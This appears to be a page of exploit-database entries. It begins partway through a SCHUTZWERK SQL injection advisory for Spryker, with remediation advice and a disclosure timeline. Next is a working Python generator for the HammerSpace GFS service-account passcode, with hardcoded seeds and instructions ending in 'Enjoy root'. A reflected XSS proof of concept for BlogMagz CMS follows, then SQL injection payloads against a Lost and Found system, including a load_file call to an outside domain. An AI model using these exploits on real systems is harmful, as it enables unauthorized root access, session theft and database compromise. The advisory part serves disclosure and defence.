higher in the login screen than in an administrative function that is not visible to normal users of the application. Accordingly, the source code of the exposed functions should be adapted first. In some cases, parameterized queries cannot be used, for example, when the data fields addressed by the query are dynamic. In such cases, frameworks, database APIs, or the programming language itself provide functions that mask the inputs appropriately so that they can be embedded in queries in a safe way. The SQL injection security guidelines [3] of Spryker should also be considered. Additional guidelines and recommendations regarding SQL injection are provided in the SQL Injection Prevention Cheat Sheet [4] of OWASP. Disclosure timeline =================== 2022-11-25: Vulnerability discovered as part of assessment for customer 2022-12-23: Vulnerablity details sent to vendor, vendor could not open details due to S/MIME-related issues 2023-01-09: Vulnerability details sent to vendor in PGP-encrypted form 2023-01-09: Vendor acknowledges receipt of report 2023-01-12: Vendor requests additional information related to customer's configuration, SCHUTZWERK provides requested information 2023-01-13: Vendor requests additional information related to customer's configuration 2023-01-16: SCHUTZWERK provides requested information 2023-02-16: Vendor informs SCHUTZWERK that they can reproduce the vulnerability and that a fix is in progress 2022-02-28: Vendor confirms that customers were notified about the vulnerability 2023-04-19: Vendor informed of intent to pushlish 2023-04-20: Advisory published by SCHUTZWERK Contact/Credits =============== The vulnerability was discovered during an assessment by David Brown of SCHUTZWERK GmbH. References ========== [1] https://www.schutzwerk.com/blog/schutzwerk-sa-2022-003/ [2] https://github.com/sqlmapproject/sqlmap [3] https://docs.spryker.com/docs/scos/dev/guidelines/security-guidelines.html#sql-injection [4] https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html Disclaimer ========== The information provided in this security advisory is provided "as is" and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible. The most recent version of this security advisory can be found at SCHUTZWERK GmbH's website ( https://www.schutzwerk.com ). -----BEGIN PGP SIGNATURE----- iQJOBAEBCgA4FiEEgLsg7Oj/wY3LSF87GrXfkTIXLrsFAmRBN4IaHGFkdmlzb3Jp ZXNAc2NodXR6d2Vyay5jb20ACgkQGrXfkTIXLruBixAAoq+FOe1zpWgek8vhcTO4 HiOIjTJJwKy+TTt12Av7iMN2vwmqEwB49iN9legPCAGZ43i7j2m+lxuYC25p2dF9 q6UZPW3fdbX1mbWrWOx/lM0EJdFjkSWkgSo4oSmpLK4Tra3Ox/6zwPgcVifMe9Ky JJC2jHHw1gHjORUM3FmMmbDDcXEhfZTs94Dy+GdjpapsZiO7wZyq8XTTQHMTDWCZ elhTW8NKaPiAzu1yfjB80U/lvV8rfoL0ud1pHC2Pz3bUxybXgNVXpNTrpWrGjj7j NEhlkq7va0thyNF1nXsAzD7sjeNKIJ4xkA4WNmv+J7NJEiHttbGkiMQHH8cEMmBM Q1Gn1orb+96NB0KtiyvlWMxkNPhnfJdgMMRbHWpSLrscaiEvECpHyOD6GrRz7/bc RztvsBpSp/OeNGPesgVaokYJctJzuCD+EKgExxcfDGN2w58YTnaCZ4JGi+8jsrbY GAp22fl4xBLhsoKOi8h4HufXQ1hYT8duGJ2BLqDHEelPidx+Yk4ssMmtvqtMtq5+ rL3iZiXyOmc0bqTU4X9rPFabMyK9II7aVNHrNQ/8MEFYo04LGLzNvwgDNCQY9MM5 tIzT/ATf7dB8Fy+/yKGDAteELzS2PkTjwv6sIeW6SZNGoz6g/Mt/S+yzPQnmGMjI EYeXWOAZib8rqZC/UeSqlz4= =6t5G -----END PGP SIGNATURE----- -- SCHUTZWERK GmbH, Pfarrer-Weiß-Weg 12, 89077 Ulm, Germany Zertifiziert / Certified ISO 27001, 9001 and TISAX Phone +49 731 977 191 0 advisories@schutzwerk.com / www.schutzwerk.com Geschäftsführer / Managing Directors: Jakob Pietzka, Michael Schäfer Amtsgericht Ulm / HRB 727391 Datenschutz / Data Protection www.schutzwerk.com/datenschutz </code></pre>

<pre><code># Affected Product: HammerSpace Global Data Environment / Global File System - # https://hammerspace.com/product # # Affected Versions: v4.6.6-324 and below with default installation/configuration. # # Vendor Notified: Yes, sometime between: 08/2022 and 10/2022, confirmed 2023-03-21 there is a fix in # an upcoming release # # Description: # # A utility that can generate the TOTP passcode used to sign In as the support service # account user for HammerSpace GFS default installations. Both the OVA and ISO are effected. # # To utilize: # # 1. Attempt SSH login to a HammerSpace Anvil or Data Server and make note of the System S/N # 2. Generate the password of the day for the service admin account: # ./hsps-passgen.py —serials SERIALNUMBER # 3. SSH as the service admin account to the server and specify the outputted TOTP passcode # 4. Enjoy root # # #!/usr/bin/env python3 import argparse, getpass, os, random, string, sys from datetime import datetime from random import Random #make it python3 compatible thanks for changing random guys! class HSRandom(Random): def seed(self, seed): if sys.version_info[0] == 3: return super(HSRandom,self).seed(seed,version=1) else: return super(HSRandom,self).seed(seed) def choice(self, seq): if sys.version_info[0] == 3: """Choose a random element from a non-empty sequence.""" return seq[int(super(HSRandom,self).random() * len(seq))] # raises IndexError if seq is empty else: return super(HSRandom, self).choice(seq) VERSION = "hspc-passgen v4.3.2" USAGE_DESC = "No help." PARSER = argparse.ArgumentParser(prog="hspc-passgen", description="Generates time of day passcode for serviceadmin account used by Hammerspace") PARSER.add_argument("-V", "--version", action="store_true", help="Prints version") PARSER.add_argument("--debug", action="store_true", help="Debug Output") PARSER.add_argument("--pwtype", type=int, default=3, choices=[2,3], help="Password type") PARSER.add_argument("--datecode", type=str, default=datetime.now().strftime("%F"), help="Date Code") PARSER.add_argument("--serials", type=str, nargs="+", required=True, help="Reported serial number(s) from ssh: serviceadmin@host") ARGS = PARSER.parse_args() def exc_handler(exception_type, exception, traceback, debug_hook=sys.excepthook): if ARGS.debug: debug_hook(exception_type, exception, traceback) else: print("%s: %s" % (exception_type.__name__, exception)) sys.exit(1) sys.excepthook = exc_handler def generate_password_v2(seed_str, _, length=8): """Generate a simple password seeded with supplied text""" serial = seed_str[-5:].lower() collapsed = ("").join(disambiguate(x) for x in serial) chars = string.digits seed = "<~^~^~^Mr.Oftal_P^~^~^~>" + collapsed hs_random = HSRandom(seed) return ("").join(hs_random.choice(chars) for i in range(length)) def generate_password_v3(seed_str, datecode, length=10): """Generate a stronger password seeded with supplied text""" serial = seed_str[-8:].lower() collapsed = ("").join(disambiguate_v3(x) for x in serial) chars = string.digits seed = datecode + "z97eoW8tVn3daG833DN83wY8" + collapsed hs_random = HSRandom(seed) return ("").join(hs_random.choice(chars) for i in range(length)) def generate_password(seed_str, datecode, pwtype=3): return globals()[("generate_password_v" + str(pwtype))](seed_str, datecode) def disambiguate(char): """Substitute ambiguous characters with non-ambiguous ones""" char = str(char) if char in ("1", "I", "!", "|"): dis = "l" elif char in ("D", "Q", "O", "0"): dis = "o" elif char in ("3", "B", "8", "6"): dis = "b" elif char in ("5", "S", "$"): dis = "s" elif char in ("A", "4"): dis = "a" elif char in ("V", "U"): dis = "u" elif char in ("M", "W"): dis = "m" elif char in ("C", "("): dis = "c" else: dis = char return dis def disambiguate_v3(char): """Substitute ambiguous characters with non-ambiguous ones""" char = str(char) if char in ("L", "1", "I"): dis = "l" elif char in ("Q", "O", "0"): dis = "o" elif char in ("B", "8"): dis = "b" elif char in ("5", "S"): dis = "s" elif char in ("V", "U"): dis = "u" else: dis = char return dis def main(): if ARGS.version: print(VERSION) return 0 if ARGS.pwtype not in (2, 3): print("\nERROR: Invalid parameters.\n") PARSER.print_help() return 1 if ARGS.serials is None or len(ARGS.serials) == 0: print("\nERROR: Invalid parameters.\n") PARSER.print_help() return 1 print("SERIAL - PASSCODE") for serial in ARGS.serials: print(f"{serial} - {generate_password(serial, datecode=ARGS.datecode, pwtype=ARGS.pwtype)}") if __name__ == "__main__": sys.exit(main()) </code></pre>

<pre><code>┌┌───────────────────────────────────────────────────────────────────────────────────────┐ ││ C r a C k E r ┌┘ ┌┘ T H E C R A C K O F E T E R N A L M I G H T ││ └───────────────────────────────────────────────────────────────────────────────────────┘┘ ┌──── From The Ashes and Dust Rises An Unimaginable crack.... ────┐ ┌┌───────────────────────────────────────────────────────────────────────────────────────┐ ┌┘ [ Vulnerability ] ┌┘ └───────────────────────────────────────────────────────────────────────────────────────┘┘ : Author : CraCkEr : │ Website : techrobot.in │ │ Vendor : Tech Robot │ │ Software : BlogMagz CMS 1.0 │ │ Vuln Type: Reflected XSS │ │ Method : GET │ │ Impact : Manipulate the content of the site │ │ │ │────────────────────────────────────────────────────────────────────────────────────────│ │ ┌┘ └───────────────────────────────────────────────────────────────────────────────────────┘┘ : : │ Release Notes: │ │ ═════════════ │ │ The attacker can send to victim a link containing a malicious URL in an email or │ │ instant message can perform a wide variety of actions, such as stealing the victim's │ │ session token or login credentials │ │ │ ┌┌───────────────────────────────────────────────────────────────────────────────────────┐ ┌┘ ┌┘ └───────────────────────────────────────────────────────────────────────────────────────┘┘ Greets: The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL CryptoJob (Twitter) twitter.com/0x0CryptoJob ┌┌───────────────────────────────────────────────────────────────────────────────────────┐ ┌┘ © CraCkEr 2023 ┌┘ └───────────────────────────────────────────────────────────────────────────────────────┘┘ Path: /search GET parameter 'q' is vulnerable to RXSS https://website/blogmagz/search?q=123rto10%3cscript%3ealert(1)%3c%2fscript%3efffyz [-] Done </code></pre>

<pre><code>## Title: Found Information System 1.0 Multiple-SQLi ## Author: nu11secur1ty ## Date: 05.07.2023 ## Vendor: https://github.com/oretnom23 ## Software: https://www.sourcecodester.com/php/16525/lost-and-found-information-system-using-php-and-mysql-db-source-code-free-download.html ## Reference: https://portswigger.net/web-security/sql-injection ## Description: The `cid` parameter appears to be vulnerable to SQL injection attacks. The payload '+(select load_file('%5c%5c%5c%5c446j46zi440491hdrco5ywxzhttps://www.sourcecodester.com/user/257130/activity%5c%5coca'))+' was submitted in the cid parameter. This payload injects a SQL sub-query that calls MySQL's load_file function with a UNC file path that references a URL on an external domain. The application interacted with that domain, indicating that the injected SQL query was executed. The attacker can get susceptible - sensitive information about the system, then he can perform another more dangerous attack. STATUS: HIGH Vulnerability [+]Payload: ```mysql --- Parameter: cid (GET) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause Payload: page=items&cid=-9014' OR 4485=4485 AND 'MLAS'='MLAS Type: error-based Title: MySQL OR error-based - WHERE or HAVING clause (FLOOR) Payload: page=items&cid=-3437' OR 1 GROUP BY CONCAT(0x71786b7171,(SELECT (CASE WHEN (5811=5811) THEN 1 ELSE 0 END)),0x71627a6b71,FLOOR(RAND(0)*2)) HAVING MIN(0)# Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: page=items&cid=2'+(select load_file('\\\\446j46zi440491hdrco5ywxzhttps://www.sourcecodester.com/user/257130/activity\\oca'))+'' AND (SELECT 9471 FROM (SELECT(SLEEP(3)))atkh) AND 'RWRl'='RWRl Type: UNION query Title: MySQL UNION query (UTF8) - 5 columns Payload: page=items&cid=2'+(select load_file('\\\\446j46zi440491hdrco5ywxzhttps://www.sourcecodester.com/user/257130/activity\\oca'))+'' UNION ALL SELECT 'UTF8',CONCAT(0x71786b7171,0x506f70715a457a794d7641625051436b4c4a52576d51645242665863795a6f594d4843426d654b46,0x71627a6b71),'UTF8','UTF8','UTF8','UTF8'# --- ``` ## Proof and Exploit: [href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2023/Lost-and-Found-Information-1.0) ## Time spend: 00:37:00 </code></pre>